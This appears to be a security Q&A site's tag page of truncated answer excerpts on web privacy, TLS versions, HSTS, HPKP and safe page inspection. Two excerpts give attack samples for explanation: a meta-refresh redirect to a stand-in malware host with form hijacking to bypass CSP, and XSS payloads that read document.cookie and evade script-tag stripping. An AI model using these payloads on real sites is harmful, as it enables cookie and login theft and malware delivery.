Tag Info

New answers tagged

0

In order for the site of a search result to know your IP address, somebody has to give them that IP address. And in theory, there are two ways that could happen: You visit the site, which requires you to share your IP address in order to make the connection The search engine sends the site your IP address In practice, I'm fairly certain method #2 does ...


0

It's not the ip address that is important to advertisers. It's the unique individual that visits the site. Dynamically assigned ip addresses a la dialup/broadband, don't give the full picture, and the industry is concerned with definitive eyeballs. With that in mind, they probably don't do it.


2

"Foolproof" does not necessarily means "NSA-proof" or whatever. A foolproof security system is meant to be a system usable by non-technical users and lowering as much as possible the risk of a misconfiguration impacting the security. Browser's, for instance, involve a lot of "foolproof" security technology against phishing sites, etc.. In case of ...


0

While the two can be used to achieve the same objective in some cases(in this case blocking flash ads) it's not intended to that, each one complement other but one can't do everything the other can. I will explain. "Click to play" helps because: by blocking Java, Flash, SilverLight, Shockwave, Vlc plugin and more you stop a lot of tracking around the web ...


1

As far as Google is concerned, they only share non-personally identifiable information with their partners (publishers, advertisers or connected sites). From Google's Privacy Policy: We may share aggregated, non-personally identifiable information publicly and with our partners – like publishers, advertisers or connected sites. For example, we may ...


1

No, they wouldn't. That would be a serious breach of privacy. Of course if you click through on a link then at that point the site can tell your IP address and the search term that you used on Google, from their own logs.


1

The cached page still contains references to the original content (images, scripts and style-sheet files, etc.) so, when you look at the default cached page, your browser will request this content to the original website, possibly along with a "referer" header telling explicitely to the website that you are currently viewing the Google cached version of ...


0

There's no such thing as a foolproof tool. A VPN can have "leaks" if compromised, which is fairly easy for an experienced person. And Anonymizer and TOR can "leak," because your IP is visible when you connect through the first layer of VPN. That's what TOR is, chained together VPNs. It is, however a lot more secure, because you have other addresses using it ...


0

"Secure enough" and "trusted" are risky phrases. If you're talking about transmitting a credit card number, email address, SSN, or other personal information unencrypted as plain text via a URL parameter then this is definitely unsecure, regardless of where it is going. The page would need to be an encrypted page for that information to be encrypted in ...


1

Such a setup can be trusted, since the payment details cannot be extracted by your hacker and the payment details can be verified securely. The thing to watch out for is that a lot of user might not bother to double-check the details on the https page, or if there are 'hidden' paramaters sent along that aren't displayed and verified explicitly.


0

You could try to do a redirect to another URL using meta-tags: <meta http-equiv="refresh" content="1; url=http://attacker.example.com/malware"> And if there is a login form you could try to change the location it submits too by adding another form element, because target for form submission are not protected by CSP. <form ...


0

I'm going to help you with some of them. How can I ensure that the pages accessing is secure enough for data transmission , sql injection and several other attacks. For data transmission you should use HTTPS, avoiding attacks between client and server. Security concern should be addressed when developing the application, choosing a programming ...


2

When the https portion of the URL in Chrome has a red line through it, there is a problem with the security of the site you are going to. To see exactly what the problem is, you need to click on the padlock and see the detailed connection info. Detailed connection info is documented here. If you see , then you've established a secure connection with a ...


0

You're referring to when web browsers draw a red line through the "https://" in their URL bars. It means that the browser does not trust the certificate that the site is using, for many possible reasons: it isn't signed by one of the root CA certificates that the browser implicitly trusts it's signed by a root CA certificate that the browser used to ...


0

There is no security benefit in disabling TLS1.1 and 1.2 and there is actually no compatibility benefit either*. The reasons why some sites only support TLS1 is, that the software and/or configuration is simply too old. * On server side. It is unfortunatelly a bit different for clients which have to talk to very old and broken servers. They might not want ...


3

is there some good reason from a security perspective to allow only TLS 1.0, or is it simply pure "laziness" It is in most cases just the TLS stack used. One of the most common stacks in web servers on UNIX/Linux is OpenSSL and the still widely used (and supported) versions 0.9.8 and 1.0.0 can do only TLS 1.0 and lower. TLS 1.1 and TLS 1.2 were only ...


2

No, there is absolutely no security related reason to continue to support TLS 1.0, but there are several other business concerns which can twist the arm of a system engineer into allowing it. For larger sites, they may be trying not to leave people with older browsers out in the cold. For some situations, the person publishing the website needs to assume you ...


4

I worked on this problem for an email scanning system, and can say that the lexical properties of URLs for maliciousness are minimal, especially with the constraints you are imposing. It's true that malicious URLs often "Look random", but that's because your experience has transformed "imgur.com/gallery/lBKRZ" into "harmless image server gallery", but ...


20

While it is currently safe on Chrome you should not base your future checks on that. Things may change anytime and I have not seen the lack of rendering as being a specifically documented feature. If you want to look at the code, it is much better to download the page via a command-line tool (curl for instance) and analyze what was loaded and saved in a ...


31

Yes, it is absolutely safe (in Google Chrome) to open an untrusted website in view-source mode. The key point to note here is that you should "open" the page in view-source mode, meaning you should not allow any rendering to happen by normally loading the webpage first and then viewing the source. An example in Google Chrome would be ...


1

HPKP does not address this need. HPKP is an extension to the HTTP protocol allowing website administrators to provide specific pining information to the browser, allowing: To check that at least one of the certificate composing the authentication chain of the current HTTPS connection (depending on the platform architecture architecture, the server ...


19

This client behavior is prohibited by section 8.1 of the RFC: If an HTTP response is received over insecure transport, the UA MUST ignore any present STS header field(s). The spec prohibits severs from sending insecure HSTS directives and clients from processing insecure HSTS directives. This ensures that a faulty implementation in either a server or ...


3

This may be to avoid the use of this header to cause a denial of service attack. Imagine an insecure HTTP-only website. Now imagine someone able to tamper with the HTTP headers sent by this site to add an HSTS header. According to the RFC: The UA should stop trying to access the site through HTTP, and try to use HTTPS only instead. If the UA is unable to ...


1

I think this extension is quite simple and generally safe to use for two reasons: Firstly, on Q. When does HTTPS Everywhere protect me? When does it not protect me? section on HTTPS Everywhere website FAQ page HTTPS Everywhere depends entirely on the security features of the individual web sites that you use; it activates those security features, ...


2

The statement is not untrue but IS possibly misleading. Certainly files are in fact cached while the in-private session is active, they are then cleared at the end. Of course, we all know this could leave a footprint. In-private sessions are not really meant to prevent someone from discovering a footprint but more to prevent inadvertent "bleed" between ...


8

No, stripping <script> tags is useless because you could still execute a javascript payload like this: <input onmouseover=prompt(document.cookie)> And bypassing the filter should also be quite easy, imagine what would happen if a payload like this sent: <scr<script>ipt> As far as what type of software they are using, well ...



Top 50 recent answers are included